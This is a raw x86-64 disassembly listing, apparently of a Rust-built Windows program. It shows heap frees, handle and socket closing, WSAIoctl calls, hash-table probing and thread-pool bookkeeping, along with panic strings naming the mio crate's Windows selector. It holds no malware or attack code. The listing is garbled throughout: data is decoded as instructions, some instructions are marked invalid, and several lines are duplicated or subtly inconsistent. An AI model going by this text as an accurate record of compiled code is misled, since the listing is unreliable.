lock dec qword [rax]
jne 0x140104777
add rsi, 8
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp fcn.1400feb20
nop
add rsp, 0x20
pop rsi
ret
sbb al, byte [rax - 1]
dec dword [rax - 0x75]
adc al, r13b
xor dword [rsi], esp
invalid
adc byte [rcx], dl
jb 0x14010482d
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rdi + 0x18], 1
mov qword [rdi + 0x20], 0
mov qword [rsp + 0x20], rdi
lock dec qword [rdi]
jne 0x140104864
lea rcx, [rsp + 0x20]
call fcn.1400feb20
nop
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
ror byte [0x188d07cf2], 0xc1
rcl dword [rax], 0x49
rol eax, 0x20
xor rcx, rdx
add rdx, rax
rol rax, 0x11
add r8, rcx
xor rax, rdx
rol rcx, 0x15
xor rcx, r8
rol rdx, 0x20
add r8, rax
add rdx, rcx
rol rax, 0xd
or eax, 0x48c0314c
rol ecx, 0x10
or eax, 0x48c0314c
rol ecx, 0x10
rol r8, 0x20
xor rcx, rdx
add rdx, rax
rol rax, 0x11
add r8, rcx
xor rax, rdx
rol rcx, 0x15
xor rcx, r8
rol rdx, 0x20
add r8, rax
add rdx, rcx
rol rax, 0xd
xor rax, r8
rol rcx, 0x10
xor rcx, rdx
add rdx, rax
rol rax, 0x11
rol rcx, 0x15
mov r8, rdx
rol r8, 0x20
xor rcx, rax
xor r8, rdx
xor r8, rcx
mov rax, qword [r12 + 0x68]
mov rcx, qword [r12 + 0x70]
mov r9, rcx
and r9, r8
shr r8, 0x39
movd xmm0, r8d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
lea r11, [rax - 0x20]
xor edx, edx
pcmpeqd xmm1, xmm1
xor edi, edi
movdqu xmm2, xmmword [rax + r9]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r15d, xmm3
test r15d, r15d
je 0x140104caa
nop word cs:[rax + rax]
tzcnt r8d, r15d
add r8, r9
and r8, rcx
mov r10, r8
shl r10, 5
mov rsi, r11
sub rsi, r10
cmp r13, qword [rsi]
je 0x140104ccc
lea r8d, [r15 - 1]
and r8w, r15w
mov r15d, r8d
jne 0x140104c80
pcmpeqb xmm2, xmm1
pmovmskb r8d, xmm2
test r8d, r8d
jne 0x140104d5f
add r9, rdi
add r9, 0x10
add rdi, 0x10
and r9, rcx
jmp 0x140104c59
neg r8
shl r8, 5
sar r10, 5
lea rdx, [r10 - 0x10]
and rdx, rcx
movdqu xmm0, xmmword [rax + rdx]
pcmpeqd xmm1, xmm1
pcmpeqb xmm0, xmm1
pmovmskb r9d, xmm0
movdqu xmm0, xmmword [rax + r10]
pcmpeqb xmm0, xmm1
pmovmskb ecx, xmm0
test r9d, r9d
je 0x140104d0e
bsr r9w, r9w
xor r9d, 0xf
jmp 0x140104d13
mov r9w, 0x10
add r8, rax
or ecx, 0x10000
tzcnt ecx, ecx
add r9d, ecx
mov cl, 0x80
cmp r9w, 0xf
ja 0x140104d33
inc qword [r12 + 0x78]
mov cl, 0xff
mov byte [rax + r10], cl
mov byte [rax + rdx + 0x10], cl
dec qword [r12 + 0x80]
mov rdx, qword [r8 - 0x18]
test rdx, rdx
je 0x140104d5d
movdqu xmm0, xmmword [r8 - 0x10]
movdqa xmmword [rsp + 0x90], xmm0
jmp 0x140104d5f
xor edx, edx
mov rax, qword [r12 + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [r12 + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
and al, 0x40
and al, 0x40
mov qword [r12 + 0xa0], rdx
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [r12 + 0xa8], xmm0
mov rdi, qword [rsp + 0x20]
test rdi, rdi
je 0x140104dcd
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.kernel32.dll_CloseHandle]
lock dec qword [rdi]
jne 0x140104db8
mov rcx, qword [rsp + 0x20]
call fcn.1400d68b0
mov rax, qword [rsp + 0x28]
lock dec qword [rax]
jne 0x140104dcd
lea rcx, [rsp + 0x28]
call fcn.1400feb20
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x20], xmm0
lock dec qword [r12 + 0xf8]
mov rax, 0xffffffffffffffff
lock xadd qword [r12 + 0x100], rax
mov rcx, qword [r12 + 0x100]
cmp rax, rcx
jb 0x1401050d5
cmp byte [r12 + 0xc4], 0
je 0x140104e30
mov rax, qword [r12 + 0xf8]
test rax, rax
jne 0x140104e30
mov rdx, qword [r14]
test rdx, rdx
jne 0x140105084
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rbx], cl
jne 0x14010509a
mov rax, qword [r12 + 0xe0]
test rax, rax
je 0x140104e68
mov rdx, qword [r12 + 0xe8]
mov rcx, qword [rdx + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
call qword [rdx + 0x28]
cmp qword [rsp + 0x20], 0
je 0x140104eb6
lea rcx, [rsp + 0x20]
call fcn.140104640
test rax, rax
je 0x140104eb6
mov rbx, rax
mov r14, rdx
mov rax, qword [rdx]
test rax, rax
je 0x140104e92
mov rcx, rbx
call rax
cmp qword [r14 + 8], 0
je 0x140104eb6
cmp qword [r14 + 0x10], 0x11
jb 0x140104ea4
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rsp + 0x88]
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x40], rax
lock dec qword [rax]
jne 0x140104ed7
lea rcx, [rsp + 0x40]
call fcn.1400fe710
lea rcx, [rsp + 0x70]
call fcn.1401015c0
mov rax, qword [rsp + 0x70]
cmp rax, 2
je 0x140104f18
lea rcx, [rsp + 0x78]
test rax, rax
je 0x140104f08
mov rax, qword [rsp + 0x78]
lock dec qword [rax]
jne 0x140104f18
call fcn.1400fed10
jmp 0x140104f18
mov rax, qword [rsp + 0x78]
lock dec qword [rax]
jne 0x140104f18
call fcn.1400fe820
test byte [rsi], 1
je 0x140104f32
mov rcx, qword [rsp + 0x38]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x140104f45
call fcn.1400fed10
jmp 0x140104f45
mov rcx, qword [rsp + 0x38]
mov rax, qword [rcx]
lock dec qword [rax]
dec qword [rax]
dec qword [rax]
jne 0x140104f45
call fcn.1400fe820
nop
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, r14
call fcn.1401259d0
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rbx], cl
je 0x140104e3e
mov rcx, rbx
call fcn.140126720
mov rax, qword [r12 + 0xe0]
test rax, rax
jne 0x140104e4b
jmp 0x140104e68
lea rax, str.num_idle_threads_underflowed_on_thread_exit
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
lea rdx, [0x14016a638]
lea rcx, [rsp + 0x40]
call fcn.1401224d0
int3
add byte [rax], al
add byte [rcx - 0x75], cl
and al, 0xf8
movzx r8d, dx
shr r8d, 2
imul r8d, r8d, 0x147b
shr r8d, 0x11
imul r10d, r8d, 0x64
sub edx, r10d
movzx edx, dx
movzx edx, word [r9 + rdx*2]
mov word [rsp + rax + 0x36], dx
add rax, 0xfffffffffffffffe
mov rdx, r8
cmp rdx, 0xa
jae 0x140106dd8
or dl, 0x30
mov byte [rsp + rax + 0x37], dl
dec rax
jmp 0x140106de6
mov edx, eax
cmp rdx, 0x63
ja 0x140106ca5
jmp 0x140106cd3
movzx edx, word [r9 + rdx*2]
mov word [rsp + rax + 0x36], dx
add rax, 0xfffffffffffffffe
lea rdx, [rsp + rax]
add rdx, 0x38
mov r8d, 0x27
sub r8, rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
mov r8d, 1
mov dl, 1
xor r9d, r9d
call fcn.140008bd0
nop
add rsp, 0xb8
pop rdi
pop rsi
ret
mov eax, dword [rdi + 0x48]
cmp rax, 0xffffffffffffffff
sbb byte [rcx + rax], 0
add bl, ch
add eax, 0xff694de8
dec dword [rbx + 0x967430d]
add byte [rbp + 0x4c], ah
mov eax, dword [0x58]
movabs al, byte [0xa8249489000000]
add byte [rax], al
retf 0x10e8
add byte [rdi], cl
test ecx, edi
add dword [rax], eax
add byte [rax], al
mov rax, qword [r13 + 0xa8]
xor ecx, ecx
add byte [rax], al
test eax, eax
mov rbp, qword [rsp + 0x60]
lock dec qword [r14]
jne 0x14010c2e6
mov rcx, r14
call fcn.1400feea0
lock dec qword [rdi]
lea rcx, [rsp + 0x128]
sete al
test r13b, 1
je 0x14010c306
test al, al
je 0x14010c30f
call fcn.1400fed10
jmp 0x14010c30f
test al, al
je 0x14010c30f
call fcn.1400fe820
test rbx, rbx
je 0x14010c355
lea r14, [rbx + 8]
mov rcx, qword [rbx + 8]
call fcn.140040ac0
mov rax, qword [rbx]
lock dec qword [rax]
jne 0x14010c332
mov rcx, rbx
call fcn.140040e50
mov rax, qword [r14]
lock dec qword [rax]
jne 0x14010c343
mov rcx, r14
call fcn.1400fe7c0
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ws2_32.dll_closesocket]
mov esi, 2
mov qword [rbp + 8], r15
mov qword [rbp], rsi
movaps xmm6, xmmword [rsp + 0x1a0]
add rsp, 0x1b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
dec dword [rdx - 0x75]
adc al, 0x27
lea rax, [rdx + 0x18]
mov qword [rsp + 0x118], rax
lea r8, [rdx + 0x20]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdx + 0x20], cl
mov qword [rsp + 0x48], rdx
jne 0x14010c93b
invalid
add byte [rax], al
add eax, 0x8b480000
add eax, 0x92f1c
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14010c961
xor eax, eax
movzx ecx, byte [rdx + 0x21]
test cl, cl
jne 0x14010c97f
mov qword [rsp + 0x130], r8
mov byte [rsp + 0x138], al
mov r12, qword [rdx + 0x38]
test r12, r12
je 0x14010c463
mov r9, qword [rdx + 0x30]
mov rcx, qword [r9 + r12*8 - 8]
mov rcx, qword [rcx]
cmp rcx, 0x21
jb 0x14010c5a7
mov qword [rsp + 0x110], r9
mov dword [rsp + 0x50], eax
mov qword [rsp + 0xd8], r8
mov rax, qword [rdx + 0x18]
mov rcx, qword [rax + 0x10]
call fcn.140041090
mov r15, rdx
test rax, rax
je 0x14010c52c
mov rcx, qword [rsp + 0xd8]
jmp 0x14010c482
mov dword [rsp + 0x50], eax
mov r12, r8
mov rax, qword [rdx + 0x18]
mov rcx, qword [rax + 0x10]
call fcn.140041090
mov r15, rdx
test rax, rax
je 0x14010c4b8
mov rcx, r12
cmp byte [rsp + 0x50], 0
mov rbp, qword [rsp + 0x60]
jne 0x14010c4a1
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14010caf7
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x14010c2d8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
jmp 0x14010c2d8
movzx eax, byte [0x14019f308]
mov edx, 0x18
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14010cbb0
mov rdx, qword [rsp + 0x48]
lea rcx, [rdx + 0x28]
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], r15
cmp qword [rcx], 0
mov r8, r12
jne 0x14010c50c
mov r15, rax
call fcn.1400e7400
mov r8, r12
mov rdx, qword [rsp + 0x48]
mov rax, r15
mov rcx, qword [rdx + 0x30]
mov qword [rcx], rax
mov qword [rdx + 0x38], 1
mov r12d, 1
mov r15, qword [rsp + 0x58]
mov eax, dword [rsp + 0x50]
jmp 0x14010c5a7
movzx eax, byte [0x14019f308]
mov edx, 0x18
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14010cbb0
mov rdx, qword [rsp + 0x48]
lea rcx, [rdx + 0x28]
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], r15
cmp r12, qword [rcx]
mov r8, qword [rsp + 0x110]
jne 0x14010c585
mov r15, rax
call fcn.1400e7400
mov rax, r15
mov rdx, qword [rsp + 0x48]
mov r8, qword [rdx + 0x30]
mov qword [r8 + r12*8], rax
inc r12
mov qword [rdx + 0x38], r12
mov r15, qword [rsp + 0x58]
mov r8, qword [rsp + 0xd8]
mov eax, dword [rsp + 0x50]
je 0x14010cbce
mov rcx, qword [rdx + 0x30]
mov rcx, qword [rcx + r12*8 - 8]
mov qword [rsp + 0x50], rcx
lock inc qword [rcx]
jle 0x14010cb18
test al, al
jne 0x14010c5d6
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14010cab4
xor eax, eax
xchg byte [r8], al
cmp al, 2
jne 0x14010c5e8
mov rcx, r8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov qword [rsp + 0x68], 0
mov dword [rsp + 0xe0], 0
xorps xmm6, xmm6
movups xmmword [rsp + 0x38], xmm6
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 8
mov rcx, r15
mov edx, 0x48000022
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
je 0x14010c856
mov r12, qword [rsp + 0x68]
xorps xmm6, xmm6
movaps xmmword [rsp + 0x190], xmm6
movaps xmmword [rsp + 0x180], xmm6
movaps xmmword [rsp + 0x170], xmm6
movzx eax, byte [0x14019f308]
mov edx, 0x78
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14010cba1
mov r15, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov rcx, rax
add rcx, 0x10
mov word [rax + 0x10], 0
mov dword [rax + 0x18], 0
mov rax, qword [rsp + 0x50]
mov qword [r15 + 0x20], rax
movaps xmm0, xmmword [rsp + 0x170]
movaps xmm1, xmmword [rsp + 0x180]
movaps xmm2, xmmword [rsp + 0x190]
movups xmmword [r15 + 0x28], xmm0
movups xmmword [r15 + 0x38], xmm1
movups xmmword [r15 + 0x48], xmm2
mov qword [r15 + 0x58], r12
movups xmmword [r15 + 0x60], xmm6
mov word [r15 + 0x70], 0
mov dl, 1
xor eax, eax
lock cmpxchg byte [r15 + 0x10], dl
jne 0x14010ca4a
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14010ca68
xor eax, eax
movzx edx, byte [r15 + 0x11]
test dl, dl
jne 0x14010ca82
mov dword [r15 + 0x68], 0x19d
mov qword [r15 + 0x60], rbp
test al, al
mov rdx, qword [rsp + 0x48]
jne 0x14010c73c
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14010cad5
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x14010c74f
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rdx, qword [rsp + 0x48]
lock inc qword [rdx]
jle 0x14010cb18
lock inc qword [r15]
jle 0x14010cb18
lea r12, [rdx + 0x10]
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x78], rbp
mov byte [rsp + 0x80], 3
mov qword [rsp + 0x70], r15
mov rcx, r12
mov rbp, rdx
mov rdx, r15
call fcn.140040800
movzx eax, byte [rbp + 0x68]
test al, al
je 0x14010c7e6
mov rcx, r12
call fcn.14003f9b0
test rax, rax
je 0x14010c7e6
mov r15, rax
mov rcx, qword [rsp + 0x70]
call fcn.140040ac0
mov rax, qword [rsp + 0x68]
lock dec qword [rax]
mov rbp, qword [rsp + 0x60]
jne 0x14010c7c8
lea rcx, [rsp + 0x68]
call fcn.140040e50
mov rax, qword [rsp + 0x70]
lock dec qword [rax]
jne 0x14010c2d8
lea rcx, [rsp + 0x70]
call fcn.1400fe7c0
jmp 0x14010c2d8
lea rax, [rsp + 0x78]
mov r12, qword [rsp + 0x68]
mov r15, qword [rsp + 0x70]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x160], xmm0
test r12, r12
mov rbp, qword [rsp + 0x60]
je 0x14010c2d8
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14010cbbf
mov qword [rax], r12
mov qword [rax + 8], r15
movaps xmm0, xmmword [rsp + 0x160]
movups xmmword [rax + 0x10], xmm0
mov qword [rbp + 0x10], r14
mov rcx, qword [rsp + 0x58]
mov qword [rbp + 0x18], rcx
mov qword [rbp + 0x20], rax
mov r15, rdi
jmp 0x14010c365
mov r12, r15
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov r15d, eax
mov qword [rsp + 0x68], 0
mov dword [rsp + 0xe0], 0
movups xmmword [rsp + 0x38], xmm6
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 8
mov rcx, r12
mov edx, 0x4800001c
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
je 0x14010c8c5
mov r12, qword [rsp + 0x68]
cmp r12, qword [rsp + 0x58]
jne 0x14010c645
jmp 0x14010c8cb
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov qword [rsp + 0x68], 0
mov dword [rsp + 0xe0], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 8
mov r12, qword [rsp + 0x58]
mov rcx, r12
mov edx, 0x4800001d
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
je 0x14010c9b1
mov rax, r12
mov r12, qword [rsp + 0x68]
cmp r12, rax
jne 0x14010c645
jmp 0x14010c9b7
mov rcx, r8
mov r12, r8
call fcn.14012be60
mov r8, r12
mov rdx, qword [rsp + 0x48]
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14010c3f0
mov r12, r8
call fcn.14012bf20
mov r8, r12
mov rdx, qword [rsp + 0x48]
xor al, 1
movzx ecx, byte [rdx + 0x21]
test cl, cl
je 0x14010c3fe
mov qword [rsp + 0x68], r8
mov byte [rsp + 0x70], al
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401575b8]
lea r8, [rsp + 0x68]
mov edx, 0x2b
call fcn.140122900
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov qword [rsp + 0x68], 0
mov dword [rsp + 0xe0], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 8
mov r12, qword [rsp + 0x58]
mov rcx, r12
mov edx, 0x4800001b
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
je 0x14010ca23
mov rax, r12
mov r12, qword [rsp + 0x68]
cmp r12, rax
jne 0x14010c645
jmp 0x14010ca29
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl r15, 0x20
or r15, 2
mov rcx, qword [rsp + 0x50]
lock dec qword [rcx]
jne 0x14010c2d3
call fcn.14002de40
jmp 0x14010c2d3
mov r12, rcx
call fcn.14012be60
mov rcx, r12
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14010c705
mov r12, rcx
call fcn.14012bf20
mov rcx, r12
xor al, 1
movzx edx, byte [r15 + 0x11]
adc dword [rdx + rdx*8 - 0x36d7bf1], eax
invalid
invalid
adc dword [rdx + rdx*8 - 0x36d7bf1], eax
invalid
mov qword [rsp + 0x68], rcx
mov byte [rsp + 0x70], al
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140157598]
lea r8, [rsp + 0x68]
mov edx, 0x2b
call fcn.140122900
mov r12, r8
call fcn.14012bf20
mov r8, r12
test al, al
jne 0x14010c5d6
mov rax, qword [rsp + 0x48]
mov byte [rax + 0x21], 1
mov byte [rax + 0x21], 1
jmp 0x14010c5d6
mov r12, rcx
call fcn.14012bf20
mov rdx, qword [rsp + 0x48]
mov rcx, r12
test al, al
jne 0x14010c73c
mov byte [r15 + 0x11], 1
jmp 0x14010c73c
mov rsi, rcx
call fcn.14012bf20
mov rcx, rsi
test al, al
jne 0x14010c4a1
mov rax, qword [rsp + 0x48]
mov byte [rax + 0x21], 1
jmp 0x14010c4a1
ud2
mov ecx, 8
mov edx, 0x78
call fcn.140122190
mov ecx, 8
mov edx, 0x18
call fcn.140122190
mov ecx, 8
mov edx, 0x20
call fcn.140122190
lea rax, [rsp + 0x118]
mov qword [rsp + 0x140], rax
lea rax, [0x140040710]
mov qword [rsp + 0x148], rax
lea rax, [rsp + 0x130]
mov qword [rsp + 0x150], rax
lea rax, [0x140042070]
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x68], 2
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x88], 0
movabs rax, 0x400000020
mov qword [rsp + 0x90], rax
mov byte [rsp + 0x98], 3
mov qword [rsp + 0xa0], 2
mov qword [rsp + 0xb0], 2
mov qword [rsp + 0xc0], 1
mov qword [rsp + 0xc8], rax
mov byte [rsp + 0xd0], 3
lea rax, str.internal_error:_entered_unreachable_code:_Cannot_acquire_afd____afd_group:
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 2
lea rax, [rsp + 0x68]
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], 2
lea rax, [rsp + 0x140]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 2
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
lea edx, [0x140157768]
lea edx, [0x140157768]
lea rcx, [rsp + 0xe0]
call fcn.1401224d0
int3
mov eax, dword [rdi + 0x10]
add byte [rcx - 0x7d], cl
cmc
invalid
invalid
and ebx, ecx
test edx, edx
movups xmm0, xmmword [rax + riz - 0x18]
mov dword [rax + riz - 8], edx
fild dword [rcx]
add ah, cl
nop
mov qword [rsp + 0x10], rdx
adc byte [rbp + 0x41], dl
push rdi
adc byte [rbp + 0x41], dl
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], 0
add byte [rax - 0x75], cl
clc
add byte [rax], 0
add byte [rax - 0x75], cl
clc
lock dec qword [rax]
jne 0x14010e12f
mov rcx, qword [rbp - 8]
call fcn.1400f6ef0
call qword [rax + 0x28c48348]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax + rax*2 + 0x31], dh
leave
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rdi + 0x40], cl
je 0x14010ee33
invalid
add byte [rax - 0x7d], cl
mov dword [rax + 0x48], 0x8148f989
invalid
add rdi, 0x40
add edi, 0x40
mov rcx, rdi
add rsp, 0x148
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.140126720
jne 0x14010e12e
add dword [rax], eax
jne 0x14010e12e
add dword [rax], eax
lea rcx, [rdi + 0x40]
call fcn.1401262a0
cmp byte [rdi + 0xc4], 0
jne 0x14010e17d
mov byte [rdi + 0xc4], 1
lea rbx, [rdi + 0x98]
mov rax, qword [rdi + 0x98]
test rax, rax
add dword [rax - 0x73], ecx
lahf
cwde
add byte [rax], al
add byte [rax - 0x75], cl
xchg dword [rax + 0x48000000], ebx
test eax, eax
je 0x14010e1e5
lock dec qword [rax]
jne 0x14010e1e5
mov rcx, rbx
call fcn.1400fe710
mov qword [rbx], 0
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsi]
mov rdx, qword [rcx + 0xc8]
test rdx, rdx
jne 0x14010e36f
mov rax, qword [rdi + 0xb0]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rdi + 0xa0]
movaps xmmword [rsp + 0x90], xmm0
mov qword [rdi + 0xa0], 0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
test byte [rax + 0x98], 1
je 0x14010e380
movups xmm0, xmmword [rdi + 0x68]
movups xmm1, xmmword [rdi + 0x78]
movups xmm2, xmmword [rdi + 0x88]
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
movups xmm0, xmmword [0x14016a4f0]
movups xmmword [rdi + 0x68], xmm0
movups xmm0, xmmword [0x14016a500]
movups xmmword [rdi + 0x78], xmm0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movdqu xmm0, xmmword [rax + 0xa0]
inc qword [rax + 0xa0]
movdqu xmmword [rdi + 0x88], xmm0
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rdi + 0x40], cl
jne 0x14010e38a
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14010e2e3
cmp eax, 1
je 0x14010e310
jmp 0x14010e32c
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x126], 2
jne 0x14010e39b
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc8]
cmp rax, 1
je 0x14010e423
cmp eax, 2
jne 0x14010e41e
mov rax, qword [rsp + 0x90]
test rax, rax
jne 0x14010e8b7
jmp 0x14010e911
add rcx, 0xc8
call fcn.140125e10
jmp 0x14010e1ff
call fcn.140122cb0
jmp 0x14010e248
add rdi, 0x40
mov rcx, rdi
call fcn.140126720
jmp 0x14010e2be
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14010ef10
call fcn.14012bf20
test al, al
jne 0x14010ef10
lea rcx, [rsp + 0xf0]
call fcn.14010f720
mov rsi, qword [rsp + 0x90]
test rsi, rsi
je 0x14010ee33
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.kernel32.dll_CloseHandle]
lock dec qword [rsi]
jne 0x14010e3fa
mov rcx, qword [rsp + 0x90]
call fcn.1400d68b0
mov rax, qword [rsp + 0x98]
lock dec qword [rax]
jne 0x14010ee33
lea rcx, [rsp + 0x98]
call fcn.1400feb20
jmp 0x14010ee33
call fcn.14012ce50
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0xd0]
lock inc qword [rdi]
jle 0x14010ef49
add rdi, 0x10
xor r13d, r13d
mov qword [rsp + 0x70], rdi
jmp 0x14010e46d
mov al, 1
lock cmpxchg byte [r14], r13b
jne 0x14010e895
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14010e500
cmp eax, 1
je 0x14010e4be
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r15d, byte [rax + 0x124]
movzx r14d, byte [rax + 0x125]
mov word [rax + 0x124], 0x8001
mov al, 1
mov rbp, qword [rsi + 8]
test rbp, rbp
jne 0x14010e510
jmp 0x14010ee48
mov r15d, eax
mov rbp, qword [rsi + 8]
test rbp, rbp
je 0x14010ee48
cmp al, 2
je 0x14010e5b0
movzx eax, al
cmp eax, 1
je 0x14010e54d
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r12d, byte [rax + 0x124]
add byte [rdi], cl
mov dh, 0x98
and eax, 0x89000001
fadd dword [rcx - 0x80]
cld
add dword [rbp + 0xb], esi
add byte [rdi], cl
mov dh, 0x98
and eax, 0x89000001
fadd dword [rcx - 0x80]
cld
add dword [rbp + 0xb], esi
